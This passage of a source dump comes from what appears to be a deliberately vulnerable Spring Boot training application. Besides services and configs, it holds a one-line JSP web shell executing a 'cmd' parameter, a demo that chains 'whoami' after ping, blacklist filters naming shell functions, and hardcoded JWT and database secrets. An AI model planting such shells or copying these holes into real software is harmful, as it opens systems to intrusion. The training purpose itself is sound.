5 | import org.springframework.beans.factory.annotation.Autowired;
6 | import org.springframework.stereotype.Service;
7 |
8 | import java.time.LocalDateTime;
9 |
10 | @Service
11 | public class UserLoginLogServiceImpl implements UserLoginLogService {
12 |
13 | @Autowired
14 | private UserLoginLogMapper userLoginLogMapper;
15 |
16 | @Override
17 | public void insertUserLoginLog(String username, String ip, LocalDateTime loginTime) {
18 | userLoginLogMapper.insertUserLoginLog(username, ip , loginTime);
19 | }
20 |
21 | @Override
22 | public void deleteUserLoginLogByIp(String ip) {
23 | userLoginLogMapper.deleteUserLoginLogByIp(ip);
24 | }
25 |
26 | @Override
27 | public int countUserLoginLogByIp(String ip) {
28 | return userLoginLogMapper.countUserLoginLogByIp(ip);
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/service/impl/UserServiceImpl.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.service.impl;
2 |
3 | import icu.secnotes.mapper.UserMapper;
4 | import icu.secnotes.pojo.PageBean;
5 | import icu.secnotes.pojo.User;
6 | import icu.secnotes.service.UserService;
7 | import org.springframework.beans.factory.annotation.Autowired;
8 | import org.springframework.stereotype.Service;
9 | import java.util.List;
10 |
11 | @Service
12 | public class UserServiceImpl implements UserService {
13 |
14 | @Autowired
15 | private UserMapper userMapper;
16 |
17 | @Override
18 | public List selectUserById(String id) {
19 | return userMapper.selectUserById(id);
20 | }
21 |
22 | @Override
23 | public List selectUserByUsername(String username) {
24 | return userMapper.selectUserByUsername(username);
25 | }
26 |
27 | @Override
28 | public PageBean pageOrderBy(String orderBy, Integer page, Integer pageSize) {
29 | //1.获取总记录数
30 | int count = userMapper.count();
31 |
32 | //2.获取分页查询结果
33 | int start = (page - 1) * pageSize;
34 | List userList = userMapper.pageOrderBy(orderBy, start, pageSize);
35 |
36 | //3.分装PageBean对象
37 | return new PageBean<>(count, userList);
38 | }
39 |
40 | @Override
41 | public List selectUserSecByUsername(String username) {
42 | return userMapper.selectUserSecByUsername(username);
43 | }
44 |
45 | @Override
46 | public User passwordLogin(User user) {
47 | return userMapper.passwordLogin(user);
48 | }
49 |
50 | @Override
51 | public User passwordLogin2(String username, String password) {
52 | return userMapper.passwordLogin2(username, password);
53 | }
54 | }
55 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/utils/GoogleAuthenticatorUtil.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.utils;
2 |
3 | import com.warrenstrange.googleauth.GoogleAuthenticator;
4 | import com.warrenstrange.googleauth.GoogleAuthenticatorKey;
5 | import com.warrenstrange.googleauth.GoogleAuthenticatorQRGenerator;
6 |
7 | public class GoogleAuthenticatorUtil {
8 |
9 | private static final GoogleAuthenticator gAuth = new GoogleAuthenticator();
10 |
11 | /**
12 | * 生成密钥
13 | * @return 生成的密钥信息
14 | */
15 | public static GoogleAuthenticatorKey createCredentials() {
16 | return gAuth.createCredentials();
17 | }
18 |
19 | /**
20 | * 生成二维码URL
21 | * @param username 用户名
22 | * @param issuer 发行者(一般是应用名称)
23 | * @param secret 密钥
24 | * @return 二维码URL
25 | */
26 | public static String getQRCodeUrl(String username, String issuer, String secret) {
27 | return GoogleAuthenticatorQRGenerator.getOtpAuthURL(issuer, username, new GoogleAuthenticatorKey.Builder(secret).build());
28 | }
29 |
30 | /**
31 | * 验证动态口令
32 | * @param secret 密钥
33 | * @param code 待验证的口令
34 | * @return 是否验证通过
35 | */
36 | public static boolean verifyCode(String secret, int code) {
37 | return gAuth.authorize(secret, code);
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/utils/JwtUtils.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.utils;
2 |
3 | import io.jsonwebtoken.Claims;
4 | import io.jsonwebtoken.Jwts;
5 | import io.jsonwebtoken.SignatureAlgorithm;
6 |
7 | import java.util.Date;
8 | import java.util.Map;
9 |
10 | public class JwtUtils {
11 |
12 | private static String signKey = "password";
13 | private static Long expire = 4320000000L; //表示有效期1200h:1200 * 3600 * 1000 = 43200000
14 |
15 | /**
16 | * JWT 令牌生成方法
17 | * @param claims JWT第二部分载荷,paylaod中存储的内容
18 | * @return
19 | */
20 | public static String generateJwt(Map claims){
21 |
22 | String jwttoken = Jwts.builder()
23 | .signWith(SignatureAlgorithm.HS256, signKey)
24 | .setClaims(claims)
25 | .setExpiration(new Date(System.currentTimeMillis() + expire))
26 | .compact();
27 |
28 | return jwttoken;
29 |
30 | }
31 |
32 | /**
33 | * JWT 令牌解析方法
34 | * @param jwttoken
35 | * @return
36 | */
37 | public static Claims parseJwt(String jwttoken){
38 | Claims claims = Jwts.parser()
39 | .setSigningKey(signKey)
40 | .parseClaimsJws(jwttoken)
41 | .getBody();
42 |
43 | return claims;
44 | }
45 |
46 | }
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/utils/Security.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.utils;
2 |
3 | import org.springframework.util.StringUtils;
4 |
5 | import java.util.Base64;
6 |
7 | /**
8 | * 安全工具类
9 | */
10 | public class Security {
11 | /**
12 | * sql注入检测
13 | */
14 | public static boolean checkSql(String content) {
15 | String[] black_list = {"'", ";", "and", "exec", "insert", "select", "delete", "update", "count", "*", "chr", "mid", "master", "truncate", "char", "declare", "or"};
16 | for (String str : black_list) {
17 | if (content.toLowerCase().contains(str)) {
18 | return true;
19 | }
20 | }
21 | return false;
22 | }
23 |
24 | /**
25 | * xss恶意字符过滤
26 | */
27 | public static String xssFilter(String content) {
28 | content = StringUtils.replace(content, "&", "&");
29 | content = StringUtils.replace(content, "<", "<");
30 | content = StringUtils.replace(content, ">", ">");
31 | content = StringUtils.replace(content, "\"", """);
32 | content = StringUtils.replace(content, "'", "'");
33 | content = StringUtils.replace(content, "/", "/");
34 | return content;
35 | }
36 |
37 | /**
38 | * 命令执行恶意字符检测
39 | */
40 | public static boolean checkCommand(String content) {
41 | String[] black_list = {";", "&&", "||", "`", "$", "(", ")", ">", "<", "|", "\\", "[", "]", "{", "}", "echo", "exec", "system", "passthru", "popen", "proc_open", "shell_exec", "eval", "assert"};
42 | for (String str : black_list) {
43 | if (content.toLowerCase().contains(str)) {
44 | return true;
45 | }
46 | }
47 | return false;
48 | }
49 |
50 | /**
51 | * 合法IP地址检测
52 | */
53 | public static boolean checkIp(String ip) {
54 | String[] ipArr = ip.split("\\.");
55 | if (ipArr.length != 4) {
56 | return false;
57 | }
58 | for (String ipSegment : ipArr) {
59 | //需要进行异常判断,万一不是数字
60 | try {
61 | int ipSegmentInt = Integer.parseInt(ipSegment);
62 | if (ipSegmentInt < 0 || ipSegmentInt > 255) {
63 | return false;
64 | }
65 | } catch (NumberFormatException e) {
66 | return false;
67 | }
68 | }
69 | return true;
70 | }
71 |
72 | /**
73 | * HTTP Basic Auth认证信息解码
74 | */
75 | public static String[] decodeBasicAuth(String token) {
76 | if (token != null && token.startsWith("Basic ")) {
77 | String base64Credentials = token.substring(6).trim();
78 | byte[] decodedBytes = Base64.getDecoder().decode(base64Credentials);
79 | String credentials = new String(decodedBytes);
80 | return credentials.split(":", 2); // 返回 [username, password]
81 | }
82 | return null;
83 | }
84 |
85 | /**
86 | * 过滤Log4j2日志中的特殊字符
87 | */
88 | public static boolean checkLog4j2(String content) {
89 | // 检查是否存在Log4j2日志中的特殊字符
90 | return !content.matches(".*[&${:}<>\"].*");
91 | }
92 |
93 | /**
94 | * 文件名检测
95 | */
96 | public static boolean checkFilename(String filename) {
97 | // 使用正则表达式限制文件名只能包含字母、数字、点号和下划线
98 | String regex = "^[a-zA-Z0-9_.-]+\\.(jpg|jpeg|png|gif)$";
99 | return filename.matches(regex);
100 | }
101 |
102 | /**
103 | * 手机号码正则校验
104 | */
105 | public static boolean checkPhone(String phone) {
106 | // 空值检查
107 | if (phone == null || phone.isEmpty()) {
108 | return false;
109 | }
110 |
111 | // 仅允许数字
112 | if (!phone.matches("^\\d+$")) {
113 | return false;
114 | }
115 |
116 | // 长度必须为11位
117 | if (phone.length() != 11) {
118 | return false;
119 | }
120 |
121 | // 号段验证
122 | String regex = "^1(3[0-9]|4[5-9]|5[0-3,5-9]|6[6]|7[0-8]|8[0-9]|9[1,8,9])\\d{8}$";
123 | return phone.matches(regex);
124 | }
125 |
126 | }
--------------------------------------------------------------------------------
/src/main/resources/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/src/main/resources/.DS_Store
--------------------------------------------------------------------------------
/src/main/resources/ESAPI.properties:
--------------------------------------------------------------------------------
1 | ESAPI.printProperties=false
2 |
3 | ESAPI.AccessControl=org.owasp.esapi.reference.DefaultAccessController
4 | ESAPI.Authenticator=org.owasp.esapi.reference.FileBasedAuthenticator
5 | ESAPI.Encoder=org.owasp.esapi.reference.DefaultEncoder
6 | ESAPI.Encryptor=org.owasp.esapi.reference.crypto.JavaEncryptor
7 | ESAPI.Executor=org.owasp.esapi.reference.DefaultExecutor
8 | ESAPI.HTTPUtilities=org.owasp.esapi.reference.DefaultHTTPUtilities
9 | ESAPI.IntrusionDetector=org.owasp.esapi.reference.DefaultIntrusionDetector
10 | ESAPI.Logger=org.owasp.esapi.logging.slf4j.Slf4JLogFactory
11 | ESAPI.Randomizer=org.owasp.esapi.reference.DefaultRandomizer
12 | ESAPI.Validator=org.owasp.esapi.reference.DefaultValidator
13 |
14 |
15 | #===========================================================================
16 | # ESAPI Encoder
17 | Encoder.AllowMultipleEncoding=false
18 | Encoder.AllowMixedEncoding=false
19 | Encoder.DefaultCodecList=HTMLEntityCodec,PercentCodec,JavaScriptCodec
20 |
21 |
22 | #===========================================================================
23 | # ESAPI ????
24 | Encryptor.PreferredJCEProvider=
25 | Encryptor.EncryptionAlgorithm=AES
26 | Encryptor.CipherTransformation=AES/CBC/PKCS5Padding
27 | Encryptor.cipher_modes.combined_modes=GCM,CCM,IAPM,EAX,OCB,CWC
28 | Encryptor.cipher_modes.additional_allowed=CBC
29 | Encryptor.EncryptionKeyLength=128
30 | Encryptor.ChooseIVMethod=random
31 | Encryptor.fixedIV=0x000102030405060708090a0b0c0d0e0f
32 | Encryptor.CipherText.useMAC=true
33 | Encryptor.PlainText.overwrite=true
34 | Encryptor.HashAlgorithm=SHA-512
35 | Encryptor.HashIterations=1024
36 | Encryptor.DigitalSignatureAlgorithm=SHA1withDSA
37 | Encryptor.DigitalSignatureKeyLength=1024
38 | Encryptor.RandomAlgorithm=SHA1PRNG
39 | Encryptor.CharacterEncoding=UTF-8
40 | Encryptor.KDF.PRF=HmacSHA256
41 |
42 | #===========================================================================
43 | # ESAPI Http??
44 |
45 | HttpUtilities.UploadDir=C:\\ESAPI\\testUpload
46 | HttpUtilities.UploadTempDir=C:\\temp
47 | # Force flags on cookies, if you use HttpUtilities to set cookies
48 | HttpUtilities.ForceHttpOnlySession=false
49 | HttpUtilities.ForceSecureSession=false
50 | HttpUtilities.ForceHttpOnlyCookies=true
51 | HttpUtilities.ForceSecureCookies=true
52 | # Maximum size of HTTP headers
53 | HttpUtilities.MaxHeaderSize=4096
54 | # File upload configuration
55 | HttpUtilities.ApprovedUploadExtensions=.zip,.pdf,.doc,.docx,.ppt,.pptx,.tar,.gz,.tgz,.rar,.war,.jar,.ear,.xls,.rtf,.properties,.java,.class,.txt,.xml,.jsp,.jsf,.exe,.dll
56 | HttpUtilities.MaxUploadFileBytes=500000000
57 | # Using UTF-8 throughout your stack is highly recommended. That includes your database driver,
58 | # container, and any other technologies you may be using. Failure to do this may expose you
59 | # to Unicode transcoding injection attacks. Use of UTF-8 does not hinder internationalization.
60 | HttpUtilities.ResponseContentType=text/html; charset=UTF-8
61 | # This is the name of the cookie used to represent the HTTP session
62 | # Typically this will be the default "JSESSIONID"
63 | HttpUtilities.HttpSessionIdName=JSESSIONID
64 |
65 |
66 |
67 | #===========================================================================
68 | # ESAPI Executor
69 | Executor.WorkingDirectory=
70 | Executor.ApprovedExecutables=
71 |
72 |
73 | #===========================================================================
74 | # ESAPI Logging
75 | # Set the application name if these logs are combined with other applications
76 | Logger.ApplicationName=ExampleApplication
77 | # If you use an HTML log viewer that does not properly HTML escape log data, you can set LogEncodingRequired to true
78 | Logger.LogEncodingRequired=false
79 | # Determines whether ESAPI should log the application name. This might be clutter in some single-server/single-app environments.
80 | Logger.LogApplicationName=true
81 | # Determines whether ESAPI should log the server IP and port. This might be clutter in some single-server environments.
82 | Logger.LogServerIP=true
83 | # LogFileName, the name of the logging file. Provide a full directory path (e.g., C:\\ESAPI\\ESAPI_logging_file) if you
84 | # want to place it in a specific directory.
85 | Logger.LogFileName=ESAPI_logging_file
86 | # MaxLogFileSize, the max size (in bytes) of a single log file before it cuts over to a new one (default is 10,000,000)
87 | Logger.MaxLogFileSize=10000000
88 |
89 |
90 | #===========================================================================
91 | # ESAPI Intrusion Detection
92 | IntrusionDetector.Disable=false
93 | IntrusionDetector.event.test.count=2
94 | IntrusionDetector.event.test.interval=10
95 | IntrusionDetector.event.test.actions=disable,log
96 |
97 | IntrusionDetector.org.owasp.esapi.errors.IntrusionException.count=1
98 | IntrusionDetector.org.owasp.esapi.errors.IntrusionException.interval=1
99 | IntrusionDetector.org.owasp.esapi.errors.IntrusionException.actions=log,disable,logout
100 |
101 | IntrusionDetector.org.owasp.esapi.errors.IntegrityException.count=10
102 | IntrusionDetector.org.owasp.esapi.errors.IntegrityException.interval=5
103 | IntrusionDetector.org.owasp.esapi.errors.IntegrityException.actions=log,disable,logout
104 |
105 | IntrusionDetector.org.owasp.esapi.errors.AuthenticationHostException.count=2
106 | IntrusionDetector.org.owasp.esapi.errors.AuthenticationHostException.interval=10
107 | IntrusionDetector.org.owasp.esapi.errors.AuthenticationHostException.actions=log,logout
108 |
109 |
110 | #===========================================================================
111 | # ESAPI ???
112 | #????????
113 | Validator.ConfigurationFile=validation.properties
114 |
115 | # Validators used by ESAPI
116 | Validator.AccountName=^[a-zA-Z0-9]{3,20}$
117 | Validator.SystemCommand=^[a-zA-Z\\-\\/]{1,64}$
118 | Validator.RoleName=^[a-z]{1,20}$
119 |
120 | #the word TEST below should be changed to your application
121 | #name - only relative URL's are supported
122 | Validator.Redirect=^\\/test.*$
123 |
124 | # Global HTTP Validation Rules
125 | # Values with Base64 encoded data (e.g. encrypted state) will need at least [a-zA-Z0-9\/+=]
126 | Validator.HTTPScheme=^(http|https)$
127 | Validator.HTTPServerName=^[a-zA-Z0-9_.\\-]*$
128 | Validator.HTTPParameterName=^[a-zA-Z0-9_]{1,32}$
129 | Validator.HTTPParameterValue=^[a-zA-Z0-9.\\-\\/+=@_ ]*$
130 | Validator.HTTPCookieName=^[a-zA-Z0-9\\-_]{1,32}$
131 | Validator.HTTPCookieValue=^[a-zA-Z0-9\\-\\/+=_ ]*$
132 |
133 | # Note that max header name capped at 150 in SecurityRequestWrapper!
134 | Validator.HTTPHeaderName=^[a-zA-Z0-9\\-_]{1,50}$
135 | Validator.HTTPHeaderValue=^[a-zA-Z0-9()\\-=\\*\\.\\?;,+\\/:&_ ]*$
136 | Validator.HTTPContextPath=^\\/?[a-zA-Z0-9.\\-\\/_]*$
137 | Validator.HTTPServletPath=^[a-zA-Z0-9.\\-\\/_]*$
138 | Validator.HTTPPath=^[a-zA-Z0-9.\\-_]*$
139 | Validator.HTTPQueryString=^[a-zA-Z0-9()\\-=\\*\\.\\?;,+\\/:&_ %]*$
140 | Validator.HTTPURI=^[a-zA-Z0-9()\\-=\\*\\.\\?;,+\\/:&_ ]*$
141 | Validator.HTTPURL=^.*$
142 | Validator.HTTPJSESSIONID=^[A-Z0-9]{10,30}$
143 |
144 | # Validation of file related input
145 | Validator.FileName=^[a-zA-Z0-9!@#$%^&{}\\[\\]()_+\\-=,.~'` ]{1,255}$
146 | Validator.DirectoryName=^[a-zA-Z0-9:/\\\\!@#$%^&{}\\[\\]()_+\\-=,.~'` ]{1,255}$
147 |
148 | # Validation of dates. Controls whether or not 'lenient' dates are accepted.
149 | # See DataFormat.setLenient(boolean flag) for further details.
150 | Validator.AcceptLenientDates=false
--------------------------------------------------------------------------------
/src/main/resources/application.yml:
--------------------------------------------------------------------------------
1 | spring:
2 | datasource:
3 | url: jdbc:mysql://localhost:3306/SpringVulnBoot
4 | username: root
5 | password: Root1234
6 | driver-class-name: com.mysql.cj.jdbc.Driver
7 |
--------------------------------------------------------------------------------
/src/main/resources/log4j2.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/src/main/resources/static/file/logo_text_white.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/src/main/resources/static/file/logo_text_white.png
--------------------------------------------------------------------------------
/src/main/resources/static/file/shell.jsp:
--------------------------------------------------------------------------------
1 | <%
2 | Runtime.getRuntime().exec(request.getParameter("cmd"));
3 | %>
--------------------------------------------------------------------------------
/src/test/java/icu/secnotes/SpringVulnBootApplicationTests.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes;
2 |
3 | import org.junit.jupiter.api.Test;
4 | import org.springframework.boot.test.context.SpringBootTest;
5 |
6 | @SpringBootTest
7 | class SpringVulnBootApplicationTests {
8 |
9 | @Test
10 | void contextLoads() {
11 | }
12 |
13 | }
14 |
--------------------------------------------------------------------------------
/src/test/java/icu/secnotes/test/RuntimeDemo.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.test;
2 |
3 | import java.io.BufferedReader;
4 | import java.io.IOException;
5 | import java.io.InputStreamReader;
6 |
7 | public class RuntimeDemo {
8 | public static void main(String[] args) {
9 | try {
10 | // 要执行的命令
11 | String command = "ping 127.0.0.1 -c 2;whoami";
12 |
13 | // 执行命令并获取进程
14 | Process process = Runtime.getRuntime().exec(command);
15 |
16 | // 获取命令的输出流
17 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
18 | String line;
19 | while ((line = reader.readLine()) != null) {
20 | System.out.println(line);
21 | }
22 |
23 | // 获取命令的错误流
24 | BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
25 | while ((line = errorReader.readLine()) != null) {
26 | System.err.println(line);
27 | }
28 |
29 | int exitValue = process.waitFor();
30 | System.out.println("Process exited with value " + exitValue);
31 |
32 | } catch (IOException | InterruptedException e) {
33 | e.printStackTrace();
34 | }
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/src/test/java/icu/secnotes/test/Sha256Test.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.test;
2 |
3 | import java.security.MessageDigest;
4 | import java.security.NoSuchAlgorithmException;
5 |
6 | public class Sha256Test {
7 | public static void main(String[] args) {
8 | String input = "Hello";
9 | String hash = "";
10 | int count = 0;
11 | long startTime = System.currentTimeMillis();
12 | try {
13 | MessageDigest digest = MessageDigest.getInstance("SHA-256");
14 |
15 | while (!hash.startsWith("00000")) {
16 | count++;
17 | String data = input + count;
18 | byte[] encodedhash = digest.digest(data.getBytes());
19 | hash = bytesToHex(encodedhash);
20 | // System.out.println(String.format("第 %d 次,字符串:%s,hash值:%s", count, data, hash));
21 | }
22 |
23 | long endTime = System.currentTimeMillis();
24 | long duration = endTime - startTime;
25 |
26 | System.out.println("Final String: " + input + count);
27 | System.out.println("SHA-256 Hash: " + hash);
28 | System.out.println("Count: " + count);
29 | System.out.println("Duration: " + duration + "ms");
30 | } catch (NoSuchAlgorithmException e) {
31 | System.out.println("Error: " + e.getMessage());
32 | }
33 | }
34 |
35 | private static String bytesToHex(byte[] hash) {
36 | StringBuilder hexString = new StringBuilder(2 * hash.length);
37 | for (byte b : hash) {
38 | String hex = Integer.toHexString(0xff & b);
39 | if (hex.length() == 1) {
40 | hexString.append('0');
41 | }
42 | hexString.append(hex);
43 | }
44 | return hexString.toString();
45 | }
46 | }
47 |
--------------------------------------------------------------------------------